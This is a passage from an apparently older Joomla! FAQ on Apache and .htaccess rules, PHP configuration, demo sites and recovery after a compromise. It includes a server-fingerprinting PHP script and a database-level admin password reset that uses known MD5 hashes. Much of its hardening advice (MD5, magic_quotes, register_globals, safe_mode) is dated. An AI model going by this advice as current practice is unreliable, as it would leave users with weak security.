: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

[http://forum.joomla.org/index.php/topic,136328.0.html Forum Discussion Here]

[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

